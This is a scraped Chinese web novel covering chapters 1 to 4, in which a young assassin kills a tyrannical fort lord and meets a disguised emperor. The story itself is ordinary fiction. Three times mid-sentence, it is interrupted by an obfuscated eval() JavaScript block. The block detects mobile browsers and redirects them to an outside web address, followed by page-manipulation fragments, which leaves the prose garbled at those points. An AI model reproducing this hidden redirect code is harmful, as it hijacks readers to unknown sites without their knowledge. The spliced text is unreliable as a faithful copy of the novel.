《三步,从刺客到皇后》 1. 第 1 章 永宁十二年,江州破岗渎。 “娘,你冷不冷,我们不抓鱼了好不好……” 漆黑的河道中,踮起脚尖立在暗礁上的孩童抬头望着江水里捞鱼的娘亲,牙关发颤。 浸在冰冷江水中的媪妇勉强笑了笑,别过脸去,“娘不冷。” 子时天黑水冷,一群人在湍急的江水中抓鱼,只因画舫上的贵人一时起兴想吃新鲜的鲈鱼,僮客连夜踹开门把他们这些渔民叫醒。 四面黑魆魁,不远处的画舫上烛火高悬,几位贵人在船头居高临下地看着,悠闲地举着金樽,欣赏着这群侨姓庶民狼狈不堪的模样。 一道江风掀起白浪,站在礁石上的孩童脚下不稳,眼看着就要摔下去。 河流中的暗礁锋利湿滑,若是磕到脑袋,轻则头破血流,重则小命不保。 她的娘亲听到动静骤然回头,手脚并用地过江水,飞身想要去捞,然而已经来不及阻止—— 江面泛起几圈微小涟漪,一道凭空出现的黑影足尖轻点,一掠而过,身形修长挺拔,一把捞起那孩子,将她交到娘亲手中。 妇人紧紧抱住孩子,长呼一口气,抬眸看了那人一眼,正想向他道谢,心脏骤然一紧。 眼前人一身黑衣,头戴乌黑斗笠,乌绫束起高马尾,面带陨铁,起伏的银白覆面遮住立体的五官,月光下只露出一双匀净秀气的眼,黑白分明,冷峻清澈。 往下看,他手里反射出一弧冷光,是月白的剑鞘。 江州是东西枢纽,汇江左河流,历来无数坞主和行主经此而过,带来无尽的腥风血雨。 妇人急匆匆地将孩童往身后一揽,硬着头皮直面那人,一转头却发现面前空无一人。 反倒是手中一沉,一个布袋被掷到她手上,沉甸甸的,里头装的是银锭。 妇人错愕地循着那方向看去,夜色中一道轻捷的黑影径直朝画舫飞掠而去,半空中只留下一句清朗的少年声音:“快回家去吧。” 短暂的寂阒过后,江面骤然响起哗哗水声,妇人领着渔民迅速涉水上岸,踩着暗礁头也不回地朝岸边奔去。 画舫上的丝竹管弦声骤然停歇,四面烛火幢幢,将轻巧跃上船头的不速之客映照得分毫毕现。 剑客脸上那张银白覆面惊得满船死寂,盛酒的金樽跌了一地。 僮客厉声问道:“你究竟是何人?又是来做什么的?!” 赢秀身姿峻拔,双手横剑,一手攥住剑格,一手持着剑尖,长剑缓缓出鞘,寒光凛然,轻声道:“我是来杀人的。” 他环视一周,礼貌地问道:“敢问诸位,江州坞主何在?” 江州坞主,相里玦,出身吴姓南士,在江州寻阳一带叱咤风云,轻视侨姓,素日以折磨侨姓庶民为乐。 此人正是他今夜要杀的人。 银白剑身冰冷湛然,浑无雕饰,少年刺客随意握着剑,就像握着一道月光。 无需多言,画舫上的僮客骤然拔刀出鞘,杀气磅礴。 兵戈相撞,隐有金石铮呜之音,甲板上滢滢的酒液倒映着刀光剑影。 赢秀身姿轻盈,袍裾如流风飘雪,轻飘飘地提剑越过重重包围,踏过甲板,剑尖鲜血滴滴答答地往下淌,滴成一条红线。 没杀一人,靠着轻功避开僮客,赢秀找了一圈,终于在画舫舱底上找到了缩在神龛下的江州坞主。 “在江洲一带结垒据守,不服朝命,压榨佃户,滥用刑名虐杀侨姓,“赢秀语气平静,殷红剑尖指着神龛下的坞主,“你可要解释?” 若是他愿意为自己辩白,赢秀会停下来认真听一听,即使这样可能会带来意想不到的危险,只可惜江州坞主并没有为自己辩白的意思—— “……我,我可以给你银子,田地坞堡佃农僮客还有秦淮河那个建章花魁都可以给你。”剑尖岿然不动,相里玦忍不住质问:“你是伧人,你一定是伧人,你是来给那群低贱的伧人复仇的,是不是?!” 在死亡的恐惧面前,他骂道:“你们这群亡官失守之徒,要不是江左收留你们,你们早该死在羌人手里了!” 坞主的叫嚷被一声尖啸掩盖,天穹骤然大亮,一道焰火飞上天穹,爆开火光,是隔壁画舫上那群僮客在放响箭,过不了多久相里氏部曲便会赶来。 现在是丑时三刻,离寅时还有五刻。 按照原定的计划,他应当在寅时出手,解决完目标后借着破岗渎上来往的船只遮掩,乘坐接应的船只离开。 为了救那孩子,他打乱了自己的计划。 如今早了四刻钟,捕鱼为业的船只还没出航,江上空空荡荡。一旦被包围,与瓮中之鳖无异。 只能拖,一直拖到寅时五刻,接应的舴艋舟来为止。 赢秀提着浑身瘫软的坞主走上船头,随手把人绑在桅杆,搬来锦杌坐下,一人一把,并不厚此薄彼,直到两人都坐下,这才将长剑横抵着他的喉咙。 “先不杀他了,”戴着覆面的刺客对画舫上紧绷的众人解释:“等会儿杀。” 他如此坦诚,光明正大地拖延时间,反倒让坞主豢养的僮客家臣投鼠忌器,怀疑他另有后手,意在引出相里氏所有的部曲一网打尽,一时之间竟有些后悔放响箭召人驰援。 僵持了两息,有人举着双手慢慢靠近桅杆,骤然抬手一拨袖箭,射出数枚冷光。 赢秀没看他一眼,手腕微转,剑身一翻,反手将暗箭尽数打了回去。 四刻钟,从丑时到寅时整整四刻钟。 直到东方初白,整座画舫上的人使尽浑身解数,明枪暗箭都上了,也没能让那位年轻刺客稍显狼狈。 寅时一刻,在破岗渎上捕鱼的船只陆陆续续的来了,不远处相里氏部曲的艨艟也来了,正在肃清海域,逐渐包围,而接应他的人还没到。 眼看艨艟上的水兵射声已经架好弓弩,只等天色微明便发箭,届时他会被射成刺猬。 不能再等下去了。 众目睽睽之下,刺客干脆利落地将目标一剑穿喉。 犹在滴血的剑挽了个剑花,桅绳似裂帛骤然断开。砰的一声,血流不止的坞主跌进江中,砸出巨大的水花。 赢秀借着水花遮掩,用轻功越过江波,抛下斗笠和覆面,抓住绳梯,迅速攀上不远处的大舶,藏身在游廊上。 这艘大舶应当是士族出游用的,金漆青底,甲板上楼台矗立,低调奢华。 士族出行多带豢养的部曲,登上这艘船不比待在画舫上安全多少。江上也有渔民的舢板,但是当今士庶天隔,他踏上渔民的船,只会牵连无辜。 经过种种考量,他登上了这艘士族的楼船。 作为一个优秀的刺客,赢秀熟练地听声辩位走在回廊里,现在还是寅时,楼台里的人应当还没醒,只要避开船上的楼橹,便不会有人发现他。 虽然只搭小半程,而且还没有地方坐,赢秀还是认真地在地上放下了银子。 不能白坐人家的船。 四面幽暗,寂阒,一切还浸在将明未明的漆黑中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845713|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>回廊两侧垂下琉璃灯,一星微光时隐时现,不时被江风吹动,发出细响。 “珰——” 赢秀迅速侧身,一只冰冷箭镞擦过他翩飞的发丝,钉入楹柱。 若非他闪躲及时,那支箭会射穿他的心口。 射箭的人箭术很高明,改日兴许可以讨教一二,以便精进箭术。 前提是他没有死在那人箭下。 赢秀隐匿在楹柱后,手腕一转,问心剑反射出烛光,趁弓手被吸引注意力,迅速翻身推开楼台最近的一扇槅门,闪身躲了进去。 在他进门的刹那,门外遽然死寂,楼橹上的射声校尉以手按弓弩,生生扼住绷紧的弦,眸底掠过恐怖之色。 那个提剑登船的少年贼子,进了天子的静室。 不怪他失职,谁能想到居然有人能在千里江波之上,脚下无所凭依的情况下,攀上绳梯登上大舶? 这得是什么样的轻功和体力? 既然进了静室,再好的轻功,也是要死的。 赢秀踏入这间静室,第一反应便是冷,陈设冷清。四面皆空,竹帷在偌大的门庭之间浮动。 南朝士族喜挥麈谈玄,庭院楼台多悬轻纱,设降真香,以求飘然欲仙之感。 这里什么都没有,无香无纱,空荡辽阔。 空气中浮着若有若无的血腥气,温热的,冷铁似的气息,这是刺客最熟悉的味道。 赢秀警惕地转过头,与一道温凉目光对上,那人披衣跽坐在空荡荡的静室中,手按在箜篌上,像是准备弹琴,神仪明秀,温润平和。 既不傅粉,也不穿纨素大袖衫,身上也没有服散的症状,应当不是士族,兴许是个僮客家臣幕僚什么的,左右都是士族豢养的门客。 准确来说,他更像个隐士,坐镇帷幕,纵横捭阖。 琉璃灯下,白袍隐士横琴而坐,好似一尊谪仙。 江风吹动他素色的袍裾,翻飞蹁跹,像一副千秋亘古的画。 莫名的,赢秀想起书上一句话:“妙年洁白,风姿郁美。” 赢秀屏住呼吸,注意窗中人漆黑的发用绫带扎起,一丝不苟地放在肩后。 刺客近身杀人时会提前束好头发,因为血溅到头发不好洗。 他有点困惑,这位好看的隐士也是刚杀完人吗? “看够了么?”隐士的声音冷冽冰凉,嗓音温凉。 听到他说话,赢秀又愣了愣,心跳从所未有地剧烈,以致于他忽略了一踏进静室便油然而生的危险感。 “……你真好看。”少年的声音发颤,坦诚而腼腆,平凡秀气的面孔由里到外透出微微的红,眸瞳很亮,像两点星子。 他藏在袍裾里的剑也在发颤,发抖。 作为一个刺客,他很少和活人打交道,偶尔倒是会和刺杀目标说几句话,对方要么痛哭涕流跪地忏悔求他饶命,要么破口大骂,更多时候两者皆有。 遗憾的是那些人表情再怎么生动,过不了多久也会变成死人一个。 刺杀对他来说轻而易举,和人正常说话却很难,总之坦诚礼貌些总归没有错,赢秀如此想道。 昭肃帝抱着箜篌,轻轻拨了一下,地上一滩细作的鲜血还没擦净,眼前又多了一个傻愣愣的少年。 莽撞笨拙,直愣愣地闯了进来,又毫无顾忌地盯着他看,像一头探头探脑的小鹿。 是他们新派来的刺客吗? 他还从未见过这样的刺客。 昭肃帝放下箜篌,向刺客走去。 2. 第 2 章 眼看对方逐渐靠近,赢秀越来越紧张,对方实在太好看了,好看得能让天地失色。 若是换一张脸,此时他早该把对方打晕旋即找个地方藏起来等待下船,何至于手足无措地站在这里。 就为了多看他几眼。 “……你,我,”少年结结巴巴,似乎想说什么,好半响终于找回自己的声音:“我是寄住小秦淮的儒生,一时不慎走错了船,还请你不要见怪。”他似乎想起什么,着急地补充道:“我给了银子,就放在回廊楹柱下。” 这是个堪称拙劣的谎言,刺客善于蛰伏在暗处,在关键时候对目标一击必中,却不擅长出现在人前,连谎言也说得结结巴巴的。 袍裾里藏着剑,说自己是误登船的儒生。 好友鉴心曾经说赢秀是个白纸一样的性子,幸好有一身卓绝的武艺,让他在乱世中活到今日。 赢秀先前并不在意,欺骗诡诈,玩弄人心,那是细作才做的事,他要做的则简单得多,辨认哪些人该杀,再把他们杀掉就可以了。 现在却有些后悔起来,早知道……早知道就该学点细作的行事作风,起码能编个流利的谎言出来。 少年紧张着解释自己上船是付了船费的,那忐忑又认真的模样令人沉默。 昭肃帝问道:“你怎么上来的?” 赢秀很坦诚:“有绳梯。” 这艘大舶是宫廷工匠穷经皓首倾尽心血所建,高约百尺,即使走舷梯也要走上小半刻,这个少年说他是攀绳梯上来的。 昭肃帝:“……” 他沉默了,有点想不到这个细作的智商和武力相差如此悬殊,以致于他破例问出了第三句话:“再给我看一遍。” “可以,只不过……”赢秀有点不好意思地说:“现在还不行。” 江面上围满了江州坞主部曲的艨艟,他现在下船,又攀上绳梯上来,会引起他们的注意。 赢秀找补:“我下次来再给你看。” 下次来。 昭肃帝齿尖咀嚼着这三个字,他轻轻牵唇,露出一个极浅的笑容,少年看呆了,手里的剑咚一声掉在地上,昭肃帝乜了一眼那柄沾着血的剑,轻声道:“好。” 甲板外面传来些许嘈杂的声音,像是在吵闹,然而并没有人前来告知到底发生了什么,也许是因为眼前的隐士并没有什么地位的缘故。 这样想着,赢秀都有些同情他了。 他打算一旦有人进来搜查,他就跳窗下船,绝不给他带来麻烦。 然而预想的事情并没有发生,外面很快复归寂静,过了片刻后有童子叩门。 赢秀捞起地上的剑,迅速侧身躲在屏风后面,看着白衣隐士安静地坐在茵席上,那童子走进来,周身带着一股难言的气韵,肃穆庄严,恭敬小心。 不像是寻常士族的僮仆。 童子说船已经靠岸了,说完便躬身退了出去。 赢秀张望了一会儿,这才谨慎地从屏风出来,他支起支摘窗,踏上窗牖,整个动作一气呵成,熟练地准备跳窗下船,似乎想起什么,骤然转头看向昭肃帝:“赢秀,徐州广陵人。” 昭肃帝道:“谢舟,建康人士。” 建康,南朝京师。 至于谢姓,很容易让人想到衣冠士族为首的建章谢氏。 他是谢氏的人? 谢氏的僮仆门客,不太好劫走。 思绪千回百转,赢秀迎着江面东升的旭日跳下窗,半空中翻了个身,漆黑的衣袂翻飞如花,稳稳地飘落在山峦掩映的岸上。 少年看起来十分善于隐匿,身姿轻捷灵秀,很快便消失在视野中。 昭肃帝收回目光,拿起箜篌,轻轻拨响琴弦。 那个少年的眼神再次浮现在眼前,很熟悉的眼神,他曾经在梦中见过无数次。 虽然相似,却全然不同,赢秀的眼神清澈,干净,明亮。 手中的剑在滴血,却有一双这样的眼睛。 “笃笃——” 槅门被敲响,担任禁军首领的武卫将军商危君跪在地上,诚惶诚恐道:“卑职失职,还请陛下责罚。” 昭肃帝兀自拨弄琴弦,任由那人跪在地上,轻声道:“赢秀,徐州广陵人,去查。” 商危君瞳孔微缩,迅速收敛震惊之色,低头道:“是。”他一动不动地跪着,等着昭肃帝接下来的口谕。 下一瞬,头顶传来昭肃帝淡漠的声音:“相里氏的人,你去处理。” “卑职领命。”商危君对此并不意外,皇帝口中的处理只有一个意思,自今日之后,这个主宰江州数十年的士族将不复存在。 只因他们妄图登上昭肃帝微服南下的船搜捕刺客,扰了昭肃帝的清净。 比起这句话,更让他震惊的是那个叫做赢秀的少年刺客不仅没死,甚至完好无损地离开了,而且似乎还和陛下交换过姓名。 赢秀,这人当真令人难以捉摸。 难以捉摸的赢秀换了衣裳,在码头雇了一艘舴艋舟,坐在舟中,还在回想那个白衣隐士。 妙年洁白,风姿郁美。 惊心动魄的美丽,以及那种令人难以忽视的危险感,给赢秀带来了巨大的冲击。 谢舟,谢舟,少年刺客反复念叨着这个名字。 家住建康京师的谢舟,天涯之大,不知何时还能与他见面。 赢秀独自回到了接头的地方,坐落在小秦淮岸边的酒肆还未开张,只有三两个求仕无门的儒生铺衣坐在青石板上,举杯对酌。 已经换上一身青色布襦,和寻常百姓并无二致的少年径直推开酒肆的挡板,质问坐在藤椅里打盹的店家,“今日的酒怎么还不上?” 寅时为何不来破岗渎接应。 店家睁开眼,眸瞳锐利,先是上下打量他一番,“你来了,”他似乎有点惊讶赢秀竟然能全身而退,很快那点惊讶便变成冷漠:“你好好想想,为何不给你上酒,本该寅时酿酒,你为何提早四刻?” 这座小酒肆的店家,赢秀的上峰,一直对赢秀很是不满。 赢秀这人太过正直心软,直得像一根木头,在他眼里对就是对,错就是错,犯错就该受罚,杀人就该偿命,清浊分明,容不得一点瑕疵。 最要命的是不服安排,总是擅作主张,今夜为了救一个素不相识的庶民的孩子,竟然不惜暴露自己提前行动。 他没有派人接应赢秀,意在小惩大诫,想借着江州坞主的部曲让他长个教训,让他明白他一个刺客,在这个世道,最不该有的就是善心。 赢秀没有解释,只道:“我愿意领罚。” 上峰冷笑:“谁敢罚你?谁不知道你是……”他将后面的话咽了下去,说起来赢秀这人也算是傻人有傻福,听说是个南来的流民, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845714|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道哪里混来一身卓绝的武艺,四年前救了主公的长公子,被收编成僮客。 他年纪小,今年才十七,却已经是长公子的心腹,替长公子做事。日后成家立业一家子都有长公子照拂,这辈子都能活在衣冠士族的荫蔽下,做个荫户。 明明是大好前程,赢秀却不珍惜,长公子亲自安排的任务还敢闹出岔子。 如今这年月,救士族兴许还能捞个好前程,救庶民又算个什么事?自讨苦吃。 “算了,”上峰心思缜密,想了一大堆,最终只是叹了一口气,“没有下次了。” 这次计划,比预想中的更顺利,甚至是让人惊疑不定的顺利。 结垒盘踞江州寻阳数十年的豪强坞主,根深枝茂的相里氏,短短两个时辰内举族覆灭,朝廷明发上谕,下旨抄家。 现在那座沃野千里、光是屯田户便过千的坞堡,已经人去楼空,转而由江州府衙的宿卫禁军接管。 京师那位年轻的昭肃帝,手段出了名的暴戾恣睢,据说少年时曾经提剑杀遍宫中宦官方士,乃至朝堂臣子,血流十里,做什么都不出奇。 江州与健康京师远隔万里,可见暴君的耳目探子到底有多强大。 府衙的洲郡兵打马从长街而过,消息随着马蹄声传开,小秦淮瞬间热闹起来,人声船声水声在秋风里荡开。 长街上,江水里,穿着铁甲的斥候在各处搜捕刺客,拦下男女老少逐个盘问。 斥候的艨艟划过小秦淮,恰好与一叶轻舟擦肩而过。 太阳底下,赢秀懒洋洋地躺在船头,以手支颐,手腕上随意缠绕着那节束发的乌绫,黑发散乱铺开。 他闭着眼睛,随手采下河心的莲子,剥掉外皮,咬在嘴里,花瓣散落满船。 藕花深深,少年风流。 任谁看了也不会怀疑他就是昨夜那位将江州坞主一剑封喉的银面刺客。 江上路过的斥候看了几眼,感叹还是少年时候好,随后急匆匆地划着走舸离开。 船棹破水的流水声渐息,赢秀睁开眼,视线恰好对上隔壁一艘蚱蜢舟,妇人带着女儿坐在舟中采莲,愣愣地看他。 扎着双螺的女童似乎认出了昨夜救自己的少年,想要开口却被娘亲往嘴里塞了一把甜甜的莲子,下意识咀嚼起来。 等她终于咽下莲子,娘亲已经划着蚱蜢舟走远了,再也看不见那个月光一样的少年。 那对母女认出了他,即使他已经换了一副易容。 赢秀望着那艘陈旧的蚱蜢舟消失在藕花深处,昨夜的回忆在脑海中一幕幕闪过,高耸巍峨的楼船,广阔寂寥的静室,怀中横抱箜篌的白衣隐士。 他身后洞开的支摘窗有旭日升起,光照江波。 江州坞主死了,鉴心还没给他安排新的任务,接下来这段时间都是空闲的。 或许,可以去见见谢舟。 赢秀换回了昨夜刺杀的易容,采了一捧莲花作为见面礼,沿着河道划着轻舟到了破岗渎。 萧瑟江风扑面而来,裹挟着淡淡的血腥味,江水飘着红,不知是谁的血。 渡口要道附近满是船只,赢秀仰头张望了片刻,试图寻找那艘大舶。 士族的船只有专属的栈道,应当是这里没错。 “这位小友,”有人神不知鬼不觉地出现在赢秀身侧,微笑道:“你可是在寻人?” 3. 第 3 章 草木岑蔚,麓山中枝叶葳蕤生光。 赢秀捧着莲花,在僮仆的指引下走进庭院。 这座庭院坐落在沅水不远处的山林里,依稀能听见远处浪涛声阵阵,天穹上两行飞鹭拍翅而过。 僮仆推开槅门,悄无声息地退了下去。 一时之间,偌大的庭院只剩下赢秀一人,赢秀怀抱着莲花,站在中堂,左右张望。 不远处矗立着一座竹楼,赢秀以为谢舟坐在高处,下意识仰头寻找,往高处望去。 “呦呦——” 不知从哪里响起鹿鸣,一道雪白的身影从月洞门里走出来,是头通体皎洁的鹿。 赢秀愣住了,眼睁睁地看着那头白鹿走过来,俯下头,旁若无人地吃他怀里的莲花 简直…… 简直是强盗! 赢秀赶紧把它咬了一口的莲花塞给它,紧急抢救了剩下的莲花,护在怀里,不让它碰。 不远处似乎有人轻笑了一声。 赢秀循声望去,重重月洞门后,竹林掩映,光影错落,谢舟独自立在那里,怀里抱着一束草料。 看着像是下船没多久就来喂鹿了。 谢氏这是这般对待门客的? 赢秀有点替他不忿,看了一眼偷吃莲花的白鹿,目光骤然柔和了些,这真是一头很漂亮的鹿,浑无杂色,雪白灵动。 “赢秀。” 谢舟唤他的名字,很轻的两个字,却带着难以言喻的意味,那是独属上位者生杀予夺一念之间的压迫感。 赢秀脑子还没反应过来,下意识快步走过去,短短几步路,他甚至用上了轻功,足尖轻点,瞬间掠过数重月洞门,飞身落在谢舟身侧。 袍裾层层叠叠散开,起落,像朵淡青色的莲花。 赢秀,徐州广陵人,侨姓流民出身,永宁八年以僮客寄籍在琅琊王氏,是王氏公子王守真的心腹家臣。 也是琅琊王氏亲手栽培的刺客。 派这样一个年轻、率真的少年刺客到他面前,意欲何为? 谢舟是想杀掉赢秀的,但他还没看过赢秀真正的轻功,他决定看一看,看完再杀。 赢秀浑然不知,他只觉得脖颈后面忽然有点凉,在秋高气爽的时节寒毛倒竖,可能是昨夜吹江风受寒了,回去得加多一床被子。 将莲花递给谢舟,赢秀还有点不好意思,这几年刺杀的士族多了,他渐渐也懂了些门道,门阀士族之间互相赠礼送的都是贵重又风雅之物。 像这种水里遍地都是的莲花,恐怕有点上不得台面。 谢舟接过花,一手抱着草料,一手抱着莲花,莲花上面还有湿漉漉的水珠,弄湿了雪白袖衫。 谢舟深深看了莲花一眼,露出一个很浅的笑容:“多谢。” 曾经有人用花给他下毒,后来那人捧花的手被折断,筋骨碾碎,手脚尽断,死在零落一地的花中。 从此再也没有人敢给他送花。 赢秀,以及幕后的琅琊王氏,是在借此试探他的底线么? 更凉了,明明是正午时分,脖子却凉嗖嗖的。 这地方如此寒凉,足见谢氏对谢舟到底有多不上心。 赢秀清峻的眸瞳多了一丝怒意,他伸手接过谢舟手上的草料,放在雪鹿面前,十分怒其不争道:“谢氏竟然如此对待自己的门客,要你亲自来喂鹿,你为何不和他们理论理论?” 谢舟缓缓垂睫,目光古怪地打量着眼前的少年,他竟然有些看不穿这个少年到底在想什么。 门客?谢氏? 他将他认成了了建章谢氏的门客,还是那种备受冷落的门客。 谢舟显然已经被欺负惯了,听到要争一争,漂亮殊绝的眉眼依旧冰冷淡漠,像是麻木了,赢秀甚至还从中看出了一丝微不可查的惊讶。 赢秀有点同情谢舟了,身为门客却不得重用,不像他,和鉴心互为好友,互相扶持。 “你别怕,”赢秀鼓励他,“我教你轻功,以后若是你想离开谢氏,另投明主也方便些。” 说着,少年骤然一跃而起,飞身跃上青竹,稳稳地立在竹尖,鼓起的袍裾迎风飘扬,轻捷得像一只充满灵气的白鹭。 枝摇影动,映照那张平凡秀气的少年面孔。 谢舟立在原地仰视他,若有所思道:“这是你真正的脸么?” 此话一出,赢秀差点从树枝上跌下来,他迅速稳住身形,装作若无其事地问道:“何出此言?”他语气认真:“人还能有第二张脸不成?” 赢秀会易容,擅长用特殊的脂粉和白泥改变骨相容貌,除了身形不能改变,他可以在短时间内变成无数个人。 意料之中的回答,谢舟没再追问,赢秀有一双漂亮的眸瞳,清澈见底,熠熠生辉,看着这双眼睛便知道他真正的脸到底有多秀致灵动。 “来,我教你轻功,”为了尽快略过这个话题,赢秀飞身落在谢舟身侧,伸手拉起谢舟,手腕用力,轻轻松松地拉着他往屋脊上飞。 埋伏在屋脊兽后面的弓手万万想不到昭君帝竟然会和那个少年飞上屋脊,惊得睁大了眼,迅速往后退去,各自寻觅藏身之地。 手腕被隔着袍裾握住,少年的手是温热的,肌骨匀停,秀美纤细的手臂上覆着一层薄薄的肌肉,这是一双用惯了剑的手。 谢舟忍着陌生的触觉,任由赢秀拉着他的手飞上屋脊。 赢秀只觉谢舟的手臂有点冰冷,像铁,肌肉虬结,隐隐能感受到跳动的青筋。 分明是一身白衣的漂亮门客,怎么感觉比他这个刺客还猛。 ……是错觉吧? 方才他踏入庭院,似乎能感觉到暗处有很多人,屋脊上也有,余光中甚至能隐约看到箭镞反射的寒光,现在却看不到一个人,也是错觉吗? 回去真得加多一床被子了,被江风吹糊涂了,赢秀心道。 立在屋脊上,天高海阔,甚至能看见远处奔流不息的沅水,滢滢江水一碧万顷,像一块青色玉璧。 赢秀无心看风景,想趁谢舟不注意偷偷看他,一转头却被逮了个正着,对方白衣在风中舒卷,淡然平静,漆黑的眸瞳正望着他,眸底带着探究:“你有什么目的?” ……这是可以说的吗? 看着这张世无其二的脸,赢秀耳尖有点发烫,诚恳道:“我想多看看你。” 说完这句话,赢秀瞬间后悔了,这样说话岂不是显得他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845715|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像个见色起意的登徒子,士族说话都是很含蓄委婉的,这也太直接了,谢舟会不会觉得他是个泥腿子…… 谢舟沉默了,似乎没想到他说话如此孟浪,问道:“……仅此而已?” 一个刺客,蓄意接近他,只是为了多看看他? 赢秀使劲点头,忍不住夸他:“你比神仙还好看。”当世名士多尚玄,这样夸谢舟应当没错。 谢舟不喜欢神仙,也不信神仙,甚至是厌恶鬼神之说。 但眼前的少年眼睛亮晶晶地夸他比神仙还好看,就连他自己也没发现,他的唇角轻轻勾了一下,伸手触摸少年乌秀的眼睫,语调温柔:“有没有人说过,你这双眼睛真的很好看?” 对方的手指骨明晰,指腹冰冷森寒,触碰眼睫的刹那,赢秀不由自主地瑟缩了一下,一股危险感不受控制地攀上脊骨。 这种感觉好奇怪…… 比锋利的剑锋穿进血肉还要古怪,像是被沸水轻柔地烫了一下,又像是被花落了满身。 少年刺客被这种前所未有的刺激惊得愣在原地,直到对方收回手,才如梦初醒地回过神来:“眼睛?没人说过我的眼睛好看。” 能近距离看见他眼睛的人,大部分已经死了,剩下那两三个人都知道他的身份,或多或少畏惧他的武艺,不敢直视他,更别提夸他的眼睛好看了。 赢秀从来不觉得自己的眼睛好看,突如其来的夸赞让他受宠若惊,轻轻笑起来,眼眸弯弯。 更好看了。 谢舟凝视着赢秀的眼睛,似乎有点明白琅琊王氏的谋算了。 轻功不是短时间就能学会的,赢秀给谢舟演示了一遍,轻捷地在各处屋脊上飞来飞去,踩着檐栱,动作隐秘,没有发出半点声响。 他仿佛是天生的刺客,生来就适合在黑暗中潜行。 “天色不早了,”赢秀飞回谢舟身边,拉着他下了屋檐,双双落在地面上,“我该走了。” 作为一个刺客,刺杀时用过的易容本不应该再用第二次,为了来见谢舟,他不惜用了第二次,已然是冒了极大的风险。 为免牵连谢舟,他还是快些离开才好。 谢舟没有说话,俊美冰冷的脸上没有表情,眉眼冷清萧肃,像是在犹豫。 难不成是在犹豫要不要挽留他? 赢秀顿时心软了,哒哒哒地走到他面前:“我还会再来看你的。” 谢舟看着他,轻轻点了头。 埋伏在各处的弓手见势将弓箭抬高了些,解下蓄势待发的长箭,锋利的箭镞被放回箭筒。 赢秀浑然不知自己逃过一劫,飞身跃上乌檐,转过身朝底下的谢舟挥了挥手,大声道:“我还会再来的!” 袍裾飞扬的少年像一只白鹭飞走了,走的时候说自己还会回来。 商危朝脚步无声地走到昭肃帝身后,方才他一直在竹楼上,随时准备弯弓射箭,只需一箭,便能生擒那个名为赢秀的士族刺客。 生擒。 他察言观色,猜测昭肃帝应当是想生擒那个少年刺客的。 但谁能想到—— 往日满手鲜血,杀人不眨眼的昭肃帝竟然手捧莲花,放任露水沾湿了白袍。 4. 第 4 章 回到小秦淮的酒肆阁楼,赢秀睁着眼睛怎么也睡不着,闭上眼睛全是那只皎洁的白鹿,以及竹林前抱着草料的白衣门客。 一幕幕从眼前闪过,心口好像藏了一团火星,不停地烧灼他,让他难以平静。 “喀嚓——” 一道黑影从外面飞来,是只漆黑的鸱鸮,抖了抖翅膀,落在窗牖上。 赢秀推开窗棂,放它进来,取下鸱鸮脚下绑着的细筒,展开里面的纸条—— “江州修河堰,由某督工,不日到达。问扶危安,鉴心亲笔” 琅琊王氏的长公子,王守真,字鉴心。 在王氏中人看来,这是赢秀要效忠一生的主公,然而对赢秀来说,鉴心是他最好的朋友。 少年相识,志同道合。 等到鉴心做了主公,他便做鉴心身边最好的将军,与他一起平定天下不平之事。 赢秀在烛光下将纸条看了又看,直到鸱鸮叫了两声,才终于揭开灯罩,将其投入烛火中。 “笃笃笃——” 烛火卷起灰烬,发出哔剥细响,门外骤然响起叩门声。 紧随而来的是有些熟悉的声音,是同样寄宿在酒肆的儒生薛镐,正小心翼翼地唤他的名字:“欸,我们在小秦淮上清谈,你可要同来?” 赢秀现在这张脸的身份是出身庶民的儒生,借住在小酒肆,窝在房间里苦读诗书。 自从侨人南迁后,衣冠士族与皇族共治天下,几十年来朝廷科举虚设,以察举征辟选官,上品无寒门,下品无士族。 苦读数十年,因为出身求仕无门的儒生比比皆是,老的少的,比涨潮时沅水上的鲮鱼还多。 是以,赢秀奉命来到江州后选了这个身份。 刺客不该有朋友,以免连累他人。 赢秀正想拒绝薛镐,却听薛镐神秘兮兮道:“这次沅水清谈可是一个绝世难逢的机会,江州坞主死了,江州要变天了,都说一朝天子一朝臣,我们出仕的机会来了。” 见他久久不应,门外的薛镐嘟囔着:“要不是看在你曾经给我付过酒钱,我才不会提携你。” 听他这么一说,赢秀似乎有点想起来了,前不久有个儒生欠了酒钱,被当掌柜的上峰轰出去,他恰好路过,听说这儒生没钱买墨,用最下等的酒来写字,有点新奇,便随手替他付了银钱。 “不去就算了,省的冲撞了贵人,那些士族大家的僮仆门客,可不是我们得罪得起的。” 薛镐说完转身就走,身后的槅门遽然敞开,他回头望去,少年披衣提灯立在门后,“我和你一起去。” 鉴心不日就要到达江州,他或许可以替鉴心探探江州官场的虚实。 